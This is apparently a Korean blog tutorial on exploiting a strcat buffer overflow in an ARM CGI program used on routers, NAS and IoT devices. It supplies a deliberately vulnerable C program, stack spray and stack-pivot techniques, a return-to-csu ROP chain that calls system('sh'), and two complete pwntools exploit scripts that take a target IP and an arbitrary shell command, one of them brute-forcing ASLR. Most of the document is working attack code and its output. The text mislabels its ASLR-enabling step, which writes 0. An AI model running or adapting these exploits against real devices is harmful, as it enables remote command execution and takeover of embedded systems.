Common ways to exploit CGI Buffer overflow.
다양한 임베디드 서비스 및 IoT에서 사용되는 CGI 프로그램을 공격하는 일반적인 방법에 대해 알아 보겠습니다.
Common Gateway Interface
CGI는 웹 서버상에서 사용자 프로그램을 동작시키기 위한 조합입니다. 존재하는 많은 웹 서버 프로그램은 CGI의 기능을 이용할 수 있습니다. CGI는 환경변수나 표준입출력을 다룰 수 있는 프로그램 언어에서라면 언어의 구별을 묻지 않고 확장하여 이용하는 것이 가능하나, 실행속도나 텍스트 처리의 용이함 등의 균형에 의해 펄이 사용되는 경우가 많았습니다.[^1]
CGI는 주로 Router, NAS와 같은 다양한 Embedded device, IoT Service를 위해 사용됩니다.
| Server
|
+--------+ | +-------------+ +-------------+
| Client |<=---HTTP---=>| HTTP Server |<=---=>| CGI Program |
+--------+ | +-------------+ +-------------+
|
|
CGI: How-to
Lighttpd1와 같이 HTTP 프로토콜을 처리하여 CGI 프로그램으로 전달 할 수 있는 웹 서버 역할을 하는 프로그램을 한가지 선정합니다. 그 후에 CGI 규약에 맞게 프로그램을 작성하면 됩니다. 본 챕터에서는 공격하기 위해 알아야하는 몇가지를 설명하겠습니다.
환경변수
환경변수에는 HTTP 프로토콜을 통해 클라이언트에게 제공받은 정보가 저장됩니다.
임의로 변조된 사용자의 값이 전달 될 수 있는 벡터는 다음과 같습니다.2
HTTP_COOKIE
: 클라이언트의 Cookie입니다.HTTP_USER_AGENT
: 클라이언트의 User agent입니다.QUERY_STRING
: 클라이언트에게 제공받은GET
쿼리 문자열입니다.
표준입출력
표준 출력을 통해 cgi 페이지로 접근한 클라이언트에게 그 내용을 전달할 수 있습니다.
POST
와 같은 HTTP Method를 서비스 하기 위해 CGI에서는 표준입력을 사용합니다. POST
의 데이터를 전달 받기 위해서는 단순히 표준입력을 받기만 하면 우리는 POST
를 통해 전달 된 데이터를 받아낼 수 있습니다.
CGI 공격
vuln.c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
char *param;
int param_count;
static inline char h2c(char h) // F -> 15
{
if (h >= 'a' && h <= 'f')
return h - 'a' + 0xa;
if (h >= 'A' && h <= 'F')
return h - 'A' + 0xa;
return h - '0';
}
char u2c(char *u) // %00 -> \x00
{
char ret = 0;
if (*u == '%')
{
ret += h2c(*(u+1)) * 0x10;
ret += h2c(*(u+2)) * 0x01;
}
return ret;
}
int urldecode(char *s)
{
int index1 = 0;
int index2 = 0;
if (!s)
return 1;
if (s[index2] == '?')
index2++;
param = s;
param_count = 0;
while (s[index2])
{
if (s[index2] == '%')
{
s[index1++] = u2c(s+index2);
index2 += 3;
}
else if (s[index2] == '&')
{
s[index1++] = '\0';
index2++;
}
else
{
if (s[index2] == '=')
param_count++;
s[index1++] = s[index2++];
}
}
s[index1] = '\0';
return 0;
}
int get_val(char *name, char *dest, size_t size)
{
int err = 1;
char *param_c = param;
size_t param_len = strlen(param_c);
size_t name_len = strlen(name);
if (!param || !param_count)
{
printf("no query.\n");
return 1;
}
for (int i = 0; i < param_count; i++)
{
if (!memcmp(name, param_c, name_len) && param_c[name_len] == '=')
{
param_c += name_len + 1;
strncpy(dest, param_c, size);
err = 0;
break;
}
else
{
param_c += param_len+1;
param_len = strlen(param_c);
}
}
return err;
}
int main(int argc, char **argv, char **envp)
{
char out[512];
char cmd[256];
char buf[256];
if (urldecode(getenv("QUERY_STRING")))
{
printf("urldecode error.\n");
return -1;
}
memset(out, 0, sizeof(out));
memset(cmd, 0, sizeof(cmd));
memset(buf, 0, sizeof(buf));
if (!get_val("time", buf, sizeof(buf)) && buf[0] == 'y')
strcat(cmd, "echo '- time ------' >> /tmp/out && date >> /tmp/out;");
if (!get_val("ifconfig", buf, sizeof(buf)) && buf[0] == 'y')
strcat(cmd, "echo '- ifconfig --' >> /tmp/out && ifconfig bond0 >> /tmp/out;");
if (!get_val("uname", buf, sizeof(buf)) && buf[0] == 'y')
strcat(cmd, "echo '- uname -----' >> /tmp/out && uname -a >> /tmp/out;");
system("rm -f /tmp/out");
system(cmd);
int fd;
if ((fd = open("/tmp/out", O_RDONLY)) < 0)
return -1;
read(fd, out, sizeof(out));
close(fd);
if (!get_val("comment", buf, 0x100))
strcat(out, buf);
puts(out);
return 0;
}
위 샘플 코드는 시스템의 time
, ifconfig
, uname
의 결과값을 출력 해 주는 간단한 프로그램입니다.
L109
QUERY_STRING
을 통해 인풋 받는GET
Query의 디코딩을 처리합니다.L119~124
time
,ifconfig
,uname
을 실행하는 명령어 조합을cmd
버퍼에 복사합니다.L126~127
/tmp/out
을 삭제 후cmd
버퍼의 내용대로 명령어를 실행합니다.L129~133
/tmp/out
파일을 읽어out
버퍼에 복사합니다.L135~136
comment
의 값이 유효할 경우 그 값을out
버퍼에 복사합니다.L138
out
을 출력합니다.
L136
에서 strncat
대신 strcat
3을 사용하기 때문에, out
버퍼에 이미 많은 양의 데이터가 채워져 있을 경우의 예외를 처리하지 않습니다. 이로 인해 Buffer overflow4가 발생하게 됩니다.
취약점 증명
취약점을 증명하기 위해 간단히 웹 브라우저를 사용할 수 있습니다.
위는 정상적인 프로그램의 실행 흐름을 나타냅니다.
위는 다수의 데이터를 comment
파라미터를 통해 전달 할 경우를 보여줍니다.
Lighttpd의 경우 다음과 같이 core dump를 활성화 시킬 수 있습니다. cgi 프로그램이 존재하는 디렉토리에 core dump가 생성됩니다.
$ echo 'server.core-files = "enable"' >> /etc/lighttpd.conf
$ kill -9 `pidof lighttpd`
$ lighttpd -f /etc/lighttpd.conf -m /usr/local/lib
그 후, 해당 프로그램의 core dump를 확인합니다.
/home/314ckC47 # ./gdb -q -c /path/to/core
[New LWP 6007]
Core was generated by `vuln.cgi'.
Program terminated with signal 11, Segmentation fault.
#0 0x61616160 in ?? ()
(gdb) i r pc
pc 0x61616160 0x61616160
$pc
레지스터가 변조 된 것을 알 수 있습니다.
공격 제약
일반적인 BOF 공격은 Return Oriented Programming(ROP)5을 주로 사용합니다.
하지만 이번 취약점을 공격하기에는 몇가지 제약이 있습니다.
- 문자열 복사를 통해 발생하는 Buffer overflow이기 때문에, ROP Payload에 Null byte가 포함 될 경우 성공적으로 공격을 수행할 수 없습니다.
- 공격에 사용할 수 있는 정적인 주소가 프로그램(vuln.cgi)이 로드 된 지점밖에 없습니다.
- 프로그램이 로드 된 주소값의 상위 1바이트는 Null-byte입니다.
이런 상황에서 구상할 수 있는 Payload는 다음과 같습니다.
<= 0x00000000 0xffffffff =>
+-----+-(out)---------------+-(BP)-+-(PC)-+-----+
| ... | ............ 'a'*63 | BASE | JUMP | ... |
+-----+---------------------+------+------+-----+
=== Overflow ==>
JUMP
에는 상위 1바이트가 Null-byte인 주소값을 삽입할 수 있습니다.BASE
에는 Null-byte가 존재하지 않는 어떤 값을 삽입할 수 있습니다.
이런 모든 조건을 종합 해 보았을 때, 우리는 다음과 같이 공격을 구상해야합니다.
PC
를 단 한번 변조하여 공격자가 원하는 코드의 흐름을 획득 해야합니다.- 연속적인 함수의 호출 또는 인자의 구성을 위해 Null-byte를 삽입할 수 있는 영역이 필요합니다.
- 연속적인 함수의 호출 또는 인자의 구성을 위해
SP
를 변조할 수 있어야 합니다.
Stack spray
QUERY_STRING
환경변수는 스택에 저장되어 있습니다. 이를 활용하면 다음과 같이 Stack spray를 시도 할 수 있습니다.
#!/usr/bin/python3
from pwn import *
e = ELF("./vuln")
def form_packet(ip, param):
packet = ""
packet += "GET http://{}/vuln.cgi?{} HTTP/1.1\r\n".format(ip, param)
packet += "Host: {}\r\n".format(ip)
packet += "Connection: keep-alive\r\n"
packet += "Content-Length: 0\r\n"
packet += "User-Agent: Mozilla/5.0\r\n"
packet += "Accept: */*\r\n"
packet += "Origin: http://{}\r\n".format(ip)
packet += "Referer: http://{}/home.cgi\r\n".format(ip)
packet += "Accept-Encoding: gzip, deflate\r\n"
packet += "Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7\r\n"
packet += "\r\n"
return packet.encode()
def form_param(payload, spray):
return "&".join(["ifconfig=y", "comment="+payload, "s="+spray])
def exploit(ip):
payload = 'a'*63 + "STCK" + "JUMP"
spray = 'b'*0x10000
param = form_param(payload, spray)
packet = form_packet(ip, param)
p = remote(ip, 80)
p.send(packet)
r = p.recv(1024).decode()
log.info(r)
p.close()
if __name__ == "__main__":
if (len(sys.argv) == 2):
exploit(sys.argv[1])
else:
print("{} [target-ip]".format(sys.argv[0]))
실제로 스택에 스프레이가 되었는지 확인합니다.
(gdb) x/16wx $sp+0x380
0xbec65db8: 0x61616161 0x61616161 0x61616161 0x61616161
0xbec65dc8: 0x64646161 0x44446464 0x73004444 0x6262623d
0xbec65dd8: 0x62626262 0x62626262 0x62626262 0x62626262
0xbec65de8: 0x62626262 0x62626262 0x62626262 0x62626262
(gdb) x/16wx $sp+0x380+0x10000
0xbec75db8: 0x62626262 0x62626262 0x62626262 0x62626262
0xbec75dc8: 0x62626262 0x62626262 0x62626262 0x45520062
0xbec75dd8: 0x53455551 0x52555f54 0x762f3d49 0x2e6e6c75
0xbec75de8: 0x3f696763 0x6f636669 0x6769666e 0x6326793d
(gdb)
스프레이가 잘 되었음을 확인 했습니다.
또한 Null-byte의 삽입이 가능한지의 여부를 확인합니다.
# ...
def exploit(ip):
payload = 'a'*63 + 'dddd' + 'DDDD'
spray = '%00'*4 + 'b'*(0x10000-12)
param = form_param(payload, spray)
packet = form_packet(ip, param)
# ...
4바이트의 null을 삽입 해 봅니다.
(gdb) x/16wx $sp+0x380
0xbed44db8: 0x61616161 0x61616161 0x61616161 0x61616161
0xbed44dc8: 0x64646161 0x44446464 0x73004444 0x0000003d
0xbed44dd8: 0x62626200 0x62626262 0x62626262 0x62626262
0xbed44de8: 0x62626262 0x62626262 0x62626262 0x62626262
(gdb) x/16wx $sp+0x380+0x10000
0xbed54db8: 0x62626262 0x62626262 0x62626262 0x62626262
0xbed54dc8: 0x62626262 0x62620062 0x62626262 0x45520062
0xbed54dd8: 0x53455551 0x52555f54 0x762f3d49 0x2e6e6c75
0xbed54de8: 0x3f696763 0x6f636669 0x6769666e 0x6326793d
(gdb)
Null-byte를 삽입할 수 있는 영역임을 확인 했습니다.
Stack Pointer 변조
armv7에서 R11
레지스터는 x86의 ebp
와 같은 역할을 수행합니다.
(gdb) disas main
...
0x00010c9c <+624>: mov r0, r3 // -- main epilogue --
0x00010ca0 <+628>: sub sp, r11, #4 // r11(bp)에서 4를 뺀 값을 sp에 저장합니다.
0x00010ca4 <+632>: pop {r11, pc} // 스택에서 r11, pc를 순차적으로 pop합니다.
...
이를 활용하면 Stack pointer(sp
)를 변조할 수 있습니다.
아래와 같은 순서의 명령을 수행한다고 가정합니다.
### Stage 1 ######################################################
+-Code-------------+---------------------------------------------+
| pc > 0x00010ca0 | sub sp, r11, #4 |
| 0x00010ca4 | pop {r11, pc} |
+------------------+---------------------------------------------+
+-Stack------------+----------0----------4----------8----------c-+
| 0xbfff8f00 | 0x00000000 0x00000000 0x00000000 0x00000000 |
| 0xbfff8f10 | 0xbfff8f24 0x00010ca0 0x00000000 0x00000000 |
| 0xbfff8f20 | 0x41414141 0x41414141 0x41414141 0x41414141 |
+------------------+---------------------------------------------+
+-Register-------------------------------------------------------+
| sp 0xbfff8f00 |
| r11 0xbfff8f14 |
+----------------------------------------------------------------+
### Stage 2 ######################################################
+-Code-------------+---------------------------------------------+
| 0x00010ca0 | sub sp, r11, #4 |
| pc > 0x00010ca4 | pop {r11, pc} |
+------------------+---------------------------------------------+
+-Stack------------+----------0----------4----------8----------c-+
| 0xbfff8f00 | 0x00000000 0x00000000 0x00000000 0x00000000 |
| 0xbfff8f10 | 0xbfff8f24 0x00010ca0 0x00000000 0x00000000 |
| 0xbfff8f20 | 0x41414141 0x41414141 0x41414141 0x41414141 |
+------------------+---------------------------------------------+
+-Register-------------------------------------------------------+
| sp 0xbfff8f10 * |
| r11 0xbfff8f14 |
+----------------------------------------------------------------+
* r11에서 4를 뺀 값을 sp에 넣었습니다.
### Stage 3 ######################################################
+-Code-------------+---------------------------------------------+
| pc > 0x00010ca0 | sub sp, r11, #4 |
| 0x00010ca4 | pop {r11, pc} |
+------------------+---------------------------------------------+
+-Stack------------+----------0----------4----------8----------c-+
| 0xbfff8f00 | 0x00000000 0x00000000 0x00000000 0x00000000 |
| 0xbfff8f10 | 0xbfff8f24 0x00010ca0 0x00000000 0x00000000 |
| 0xbfff8f20 | 0x41414141 0x41414141 0x41414141 0x41414141 |
+------------------+---------------------------------------------+
+-Register-------------------------------------------------------+
| sp 0xbfff8f10 |
| r11 0xbfff8f24 * |
+----------------------------------------------------------------+
* sp(0xbfff8f10)에서 r11, pc를 pop 했습니다.
### Stage 4 ######################################################
+-Code-------------+---------------------------------------------+
| 0x00010ca0 | sub sp, r11, #4 |
| pc > 0x00010ca4 | pop {r11, pc} |
+------------------+---------------------------------------------+
+-Stack------------+----------0----------4----------8----------c-+
| 0xbfff8f00 | 0x00000000 0x00000000 0x00000000 0x00000000 |
| 0xbfff8f10 | 0xbfff8f24 0x00010ca0 0x00000000 0x00000000 |
| 0xbfff8f20 | 0x41414141 0x41414141 0x41414141 0x41414141 |
+------------------+---------------------------------------------+
+-Register-------------------------------------------------------+
| sp 0xbfff8f20 * |
| r11 0xbfff8f24 |
+----------------------------------------------------------------+
* r11에서 4를 뺀 값을 sp에 넣었습니다.
sp의 값이 우리가 원하는 값(0xbfff8f20)으로 변조되었습니다.
### Stage 5 ######################################################
+-Code-------------+---------------------------------------------+
| pc > 0x41414141 | ........................................... |
+------------------+---------------------------------------------+
+-Stack------------+----------0----------4----------8----------c-+
| 0xbfff8f00 | 0x00000000 0x00000000 0x00000000 0x00000000 |
| 0xbfff8f10 | 0xbfff8f24 0x00010ca0 0x00000000 0x00000000 |
| 0xbfff8f20 | 0x41414141 0x41414141 0x41414141 0x41414141 |
+------------------+---------------------------------------------+
+-Register-------------------------------------------------------+
| sp 0xbfff8f28 |
| r11 0x41414141 |
+----------------------------------------------------------------+
* pc와 r11이 변조되었습니다.
위와 같은 방법으로 연속적인 함수의 호출 또는 인자의 구성을 위해 SP
를 변조할 수 있습니다.
공격코드 작성
위 두가지 방법을 이용하면 다음과 같은 흐름으로 공격을 수행합니다.
QUERY_STRING
을 전달함으로 BOF를 발생시키고, 스택에 ROP Payload를 spray합니다.SP
를 Stack spray된 영역으로 변조합니다.- ROP Payload를 수행합니다.
- ASLR이 비활성화 되어있으면, ROP Payload를 즉각적으로 수행 할 수 있습니다.
- ASLR이 활성화 되어있으면,
SP
가 잘못된 영역을 역참조 할 수 있습니다. 이럴경우, 1을 다시 수행합니다.
Case: ASLR 비활성화
다음과 같이 ASLR을 비활성화 할 수 있습니다.
# echo 0 > /proc/sys/kernel/randomize_va_space
# cat /proc/sys/kernel/randomize_va_space
0
ASLR이 비활성화 된 후, 스프레이를 먼저 수행하여 core dump를 확인합니다.
(gdb) x/32wx $sp+0x380
0xbefe1d98: 0x6161616b 0x6161616c 0x6161616d 0x6161616e
0xbefe1da8: 0xbefe1ddc 0x44444444 0x3d737300 0x41414141
0xbefe1db8: 0x41414141 0x41414141 0x41414141 0x41414141
0xbefe1dc8: 0x41414141 0x41414141 0x41414141 0x41414141
0xbefe1dd8: 0x41414141 0x41414141 0x41414141 0x41414141
Stack spray가 0xbefe1db4
에서 시작합니다. 해당 주소로 sp
를 변조합니다.
SPRAY_LEN = 0xf000
leave = 0x00010ca0 # sub sp, r11, 4; pop {r11, pc}
def payload(r11, lr, dummy_len):
payload = cyclic(dummy_len).decode()
payload += purl32(r11)
payload += purl32(lr)
return payload
def spray():
spray = "A"*SPRAY_LEN
return spray
def exploit():
# ...
stack = 0xbefe1db4+4
pload = payload(stack, leave, dummy_len)
param = form_param(pload, spray())
packet = form_packet(ip, param, command)
# ...
위의 코드를 실행 후 다시 gdb
로 확인합니다.
(gdb) x/16wx $sp-0x10
0xbefe1dac: 0x00010ca0 0x3d737300 0x41414141 0x41414141
0xbefe1dbc: 0x41414141 0x41414141 0x41414141 0x41414141
0xbefe1dcc: 0x41414141 0x41414141 0x41414141 0x41414141
0xbefe1ddc: 0x41414141 0x41414141 0x41414141 0x41414141
(gdb) i r pc
pc 0x41414140 0x41414140
(gdb)
정상적으로 pc
가 변조되었습니다.
Return sled
Return sled를 이용하여 스프레이한 영역의 어느곳으로 sp
, pc
가 변조되어도 공격자의 ROP Payload가 실행되도록 합니다.
0x00010ca4: pop {r11, pc}
0x000108e0: pop {r4, r11, pc}
위의 두 가젯을 활용합니다.
...
| 0x00010ca4
| 0x00010ca4
| 0x000108e0
| 0x00010ca4 # r4
| 0x41414141 # r11
V [ROP HERE] # pc
def spray():
# ...
spray += purl32(sled_1) * (((SPRAY_LEN-len(rop)) // EADDR_LEN)-3)
spray += purl32(sled_2) + purl32(sled_1) + "AAAA"
spray += rop
return spray
ROP
Return-to-csu를 활용합니다.
def chain(func, r0, r1, r2):
c = ''
c += purl32(0x00000000) # r4
c += purl32(func) # [r5] => r3
c += purl32(0x00000000) # r6
c += purl32(r0) # r7 => r0
c += purl32(r1) # r8 => r1
c += purl32(r2) # r9 => r2
c += purl32(0x00000000) # r10
c += purl32(csu_2) # pc
return c
def spray():
#...
# Return-to-csu.
rop = purl32(csu_1)
# Set bss:0x20 to get_val address.
for i in range(4):
addr = e.bss(0x20+i)
value = e.symbols['get_val'] >> (i*8) & 0xff
rop += chain(e.got['memset'], addr, value, 1)
# get_val("t", bss:0x24, 2): returns "sh"
rop += chain(e.bss(0x20), str_t, e.bss(0x24), 2) # get_val
rop += chain(e.got['system'], e.bss(0x24), 0, 0)
#...
chain()
함수는 Return-to-csu 가젯을 자동으로 구성 해 줍니다.L18~22
:bss:0x20
지점에get_val
함수의 포인터를 작성합니다.L25
:get_val
함수를 이용해QUERY_STRING
에서t
쿼리의 값을bss:0x24
지점에 작성합니다. 그 값은"sh"
입니다.L26
:system
함수를 이용해 쉘을 실행시킵니다.
명령어 전달
ROP Payload가 수행되고 나면, 쉘 프로세스가 실행되고, 명령어 입력까지 대기합니다.
POST
메소드를 이용해 Standard input으로 쉘 명령을 전달하여 실행시킵니다.
def form_packet(ip, param, content=''):
packet = ""
packet += "POST http://{}/vuln.cgi?{} HTTP/1.1\r\n".format(ip, param)
packet += "Host: {}\r\n".format(ip)
packet += "Connection: keep-alive\r\n"
packet += "Content-Length: {}\r\n".format(len(content))
packet += "User-Agent: Mozilla/5.0\r\n"
packet += "Accept: */*\r\n"
packet += "Origin: http://{}\r\n".format(ip)
packet += "Referer: http://{}/home.cgi\r\n".format(ip)
packet += "Accept-Encoding: gzip, deflate\r\n"
packet += "Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7\r\n"
packet += "\r\n"
packet += content
packet += "\r\n"
return packet.encode()
안정화 작업
def exploit(ip, command):
# ifconfig's output length is not fixed.
# So, we need to get the buffer first to calculate
# the overflow size.
log.info("Getting buffer.")
packet = form_packet(ip, form_param())
p = remote(ip, 80)
p.send(packet)
r = p.recv().decode()
r = r[r.find("- ifconfig"):r.find("\n\n\n")+2]
dummy_len = 0x204 - len(r)
p.close()
log.info("Exploit.")
stack = 0xbefe1db4+4
pload = payload(stack, leave, dummy_len)
param = form_param(pload, spray())
packet = form_packet(ip, param, command)
p = remote(ip, 80)
p.send(packet)
p.close()
log.info("Success!")
ifconfig
명령의 출력값의 길이가 고정되어있지 않습니다.
오버플로우 사이즈를 안정적으로 계산하기 위해 ifconfig
명령 결과 버퍼의 길이값을 측정하고, 계산합니다.
no-ASLR 공격 코드
#!/usr/bin/python3
from pwn import *
e = ELF("./vuln")
# Globals & Defines
spray_fix = ''
SPRAY_LEN = 0xf000
EADDR_LEN = 12
# Gadgets
sled_1 = 0x00010ca4 # pop {r11, pc}
sled_2 = 0x000108e0 # pop {r4, r11, pc}
csu_1 = 0x00010d28
csu_2 = 0x00010d0c
leave = 0x00010ca0 # sub sp, r11, 4; pop {r11, pc}
# ETC.
str_t = 0x10e66
def purl32(value):
a = (value & 0x000000ff) >> 0
b = (value & 0x0000ff00) >> 8
c = (value & 0x00ff0000) >> 16
d = (value & 0xff000000) >> 24
return "%{:02x}%{:02x}%{:02x}%{:02x}".format(a,b,c,d)
def form_packet(ip, param, content=''):
packet = ""
packet += "POST http://{}/vuln.cgi?{} HTTP/1.1\r\n".format(ip, param)
packet += "Host: {}\r\n".format(ip)
packet += "Connection: keep-alive\r\n"
packet += "Content-Length: {}\r\n".format(len(content))
packet += "User-Agent: Mozilla/5.0\r\n"
packet += "Accept: */*\r\n"
packet += "Origin: http://{}\r\n".format(ip)
packet += "Referer: http://{}/home.cgi\r\n".format(ip)
packet += "Accept-Encoding: gzip, deflate\r\n"
packet += "Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7\r\n"
packet += "\r\n"
packet += content
packet += "\r\n"
return packet.encode()
def form_param(payload='', spray=''):
p = ["t=sh", "ifconfig=y"]
if payload:
p.append("comment="+payload)
if spray:
p.append("ss="+spray)
return "&".join(p)
def payload(r11, lr, dummy_len=54):
payload = cyclic(dummy_len).decode()
payload += purl32(r11)
payload += purl32(lr)
return payload
def chain(func, r0, r1, r2):
c = ''
c += purl32(0x00000000) # r4
c += purl32(func) # [r5] => r3
c += purl32(0x00000000) # r6
c += purl32(r0) # r7 => r0
c += purl32(r1) # r8 => r1
c += purl32(r2) # r9 => r2
c += purl32(0x00000000) # r10
c += purl32(csu_2) # pc
return c
def spray():
# If we already got spray buffer, use it.
global spray_fix
if len(spray_fix):
return spray_fix
# Return-to-csu.
rop = purl32(csu_1)
# Set bss:0x20 to get_val address.
for i in range(4):
addr = e.bss(0x20+i)
value = e.symbols['get_val'] >> (i*8) & 0xff
rop += chain(e.got['memset'], addr, value, 1)
# get_val("t", bss:0x24, 2): returns "sh"
rop += chain(e.bss(0x20), str_t, e.bss(0x24), 2) # get_val
# system("sh")
rop += chain(e.got['system'], e.bss(0x24), 0, 0)
# Forming spray.
spray = 'a' * (SPRAY_LEN % EADDR_LEN) # padd
spray += purl32(sled_1) * (((SPRAY_LEN-len(rop)) // EADDR_LEN)-3)
spray += purl32(sled_2) + purl32(sled_1) + "AAAA"
spray += rop
# Fix the spray buffer.
spray_fix = spray
return spray
def exploit(ip, command):
# ifconfig's output length is not fixed.
# So, we need to get the buffer first to calculate
# the overflow size.
log.info("Getting buffer.")
packet = form_packet(ip, form_param())
p = remote(ip, 80)
p.send(packet)
r = p.recv().decode()
r = r[r.find("- ifconfig"):r.find("\n\n\n")+2]
dummy_len = 0x204 - len(r)
p.close()
log.info("Exploit.")
stack = 0xbefe1db4+4
pload = payload(stack, leave, dummy_len)
param = form_param(pload, spray())
packet = form_packet(ip, param, command)
p = remote(ip, 80)
p.send(packet)
p.close()
log.info("Success!")
if __name__ == "__main__":
if (len(sys.argv) == 3):
exploit(sys.argv[1], sys.argv[2])
else:
print("{} [target-ip] [shell command]".format(sys.argv[0]))
bc@machine $ ./exploit.py 172.16.13.9 'echo PWNED > /tmp/pwned'
[*] '/mnt/c/Users/314ckC47/Documents/CGI Exploitation/source/vuln'
Arch: arm-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x10000)
[*] Getting buffer.
[*] Exploit.
[*] Success!
/home/314ckC47 $ cat /tmp/pwned
PWNED
Case: ASLR 활성화
다음과 같이 ASLR을 활성화합니다.
# echo 0 > /proc/sys/kernel/randomize_va_space
# cat /proc/sys/kernel/randomize_va_space
0
종료 조건
sp
가 참조하는 지점에 대해 Brute-forcing을 수행합니다.
Brute-forcing의 종료 조건을 위해 ROP Payload가 성공적으로 수행 될 경우 프로그램을 abort시켜 500 Internal error를 발생시키지 않도록 합니다.
# system("sh")
rop += chain(e.got['system'], e.bss(0x24), 0, 0)
# abort
rop += "AAAA"*7 + purl32(abort)
ASLR 공격 코드
#!/usr/bin/python3
from pwn import *
e = ELF("./vuln")
# Globals & Defines
spray_fix = ''
SPRAY_LEN = 0xf000
EADDR_LEN = 12
# Gadgets
sled_1 = 0x00010ca4 # pop {r11, pc}
sled_2 = 0x000108e0 # pop {r4, r11, pc}
csu_1 = 0x00010d28
csu_2 = 0x00010d0c
leave = 0x00010ca0 # sub sp, r11, 4; pop {r11, pc}
# ETC.
str_t = 0x00010e66
abort = 0x0001055c
def purl32(value):
a = (value & 0x000000ff) >> 0
b = (value & 0x0000ff00) >> 8
c = (value & 0x00ff0000) >> 16
d = (value & 0xff000000) >> 24
return "%{:02x}%{:02x}%{:02x}%{:02x}".format(a,b,c,d)
def form_packet(ip, param, content=''):
packet = ""
packet += "POST http://{}/vuln.cgi?{} HTTP/1.1\r\n".format(ip, param)
packet += "Host: {}\r\n".format(ip)
packet += "Connection: keep-alive\r\n"
packet += "Content-Length: {}\r\n".format(len(content))
packet += "User-Agent: Mozilla/5.0\r\n"
packet += "Accept: */*\r\n"
packet += "Origin: http://{}\r\n".format(ip)
packet += "Referer: http://{}/home.cgi\r\n".format(ip)
packet += "Accept-Encoding: gzip, deflate\r\n"
packet += "Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7\r\n"
packet += "\r\n"
packet += content
packet += "\r\n"
return packet.encode()
def form_param(payload='', spray=''):
p = ["t=sh", "ifconfig=y"]
if payload:
p.append("comment="+payload)
if spray:
p.append("ss="+spray)
return "&".join(p)
def payload(r11, lr, dummy_len=54):
payload = cyclic(dummy_len).decode()
payload += purl32(r11)
payload += purl32(lr)
return payload
def chain(func, r0, r1, r2):
c = ''
c += purl32(0x00000000) # r4
c += purl32(func) # [r5] => r3
c += purl32(0x00000000) # r6
c += purl32(r0) # r7 => r0
c += purl32(r1) # r8 => r1
c += purl32(r2) # r9 => r2
c += purl32(0x00000000) # r10
c += purl32(csu_2) # pc
return c
def spray():
# If we already got spray buffer, use it.
global spray_fix
if len(spray_fix):
return spray_fix
# Return-to-csu.
rop = purl32(csu_1)
# Set bss:0x20 to get_val address.
for i in range(4):
addr = e.bss(0x20+i)
value = e.symbols['get_val'] >> (i*8) & 0xff
rop += chain(e.got['memset'], addr, value, 1)
# get_val("t", bss:0x24, 2): returns "sh"
rop += chain(e.bss(0x20), str_t, e.bss(0x24), 2) # get_val
# system("sh")
rop += chain(e.got['system'], e.bss(0x24), 0, 0)
# abort
rop += "AAAA"*7 + purl32(abort)
# Forming spray.
spray = 'a' * (SPRAY_LEN % EADDR_LEN) # padd
spray += purl32(sled_1) * (((SPRAY_LEN-len(rop)) // EADDR_LEN)-3)
spray += purl32(sled_2) + purl32(sled_1) + "AAAA"
spray += rop
# Fix the spray buffer.
spray_fix = spray
return spray
def exploit(ip, command):
# ifconfig's output length is not fixed.
# So, we need to get the buffer first to calculate
# the overflow size.
log.info("Getting buffer.")
packet = form_packet(ip, form_param())
p = remote(ip, 80)
p.send(packet)
r = p.recv().decode()
r = r[r.find("- ifconfig"):r.find("\n\n\n")+2]
dummy_len = 0x204 - len(r)
p.close()
log.info("Exploit.")
while True:
stack = 0xbefe1dd4
pload = payload(stack, leave, dummy_len)
param = form_param(pload, spray())
packet = form_packet(ip, param, command)
p = remote(ip, 80)
p.send(packet)
r = p.recv()
p.close()
if r.find(b"200 OK") != -1:
break
log.info("Success!")
if __name__ == "__main__":
if (len(sys.argv) == 3):
exploit(sys.argv[1], sys.argv[2])
else:
print("{} [target-ip] [shell command]".format(sys.argv[0]))
끝내면서
CGI를 공격하는 방법에 대해 알아보았습니다. 일반적으로 웹 CGI 프로그램 혹은 CGI는 문자열을 처리하는 코드가 많습니다. 문자열을 처리하는 코드에서 주로 발생할 수 있는 String copy buffer overflow의 공격 방법에 대해 알아보았고, 안정적인 공격 코드를 작성하는 법에 대해 알아 보았습니다.
추가적인 질문 사항과 수정사항은 [email protected]으로 남겨 주시면 감사하겠습니다.
-
https://www.lighttpd.net/ ↩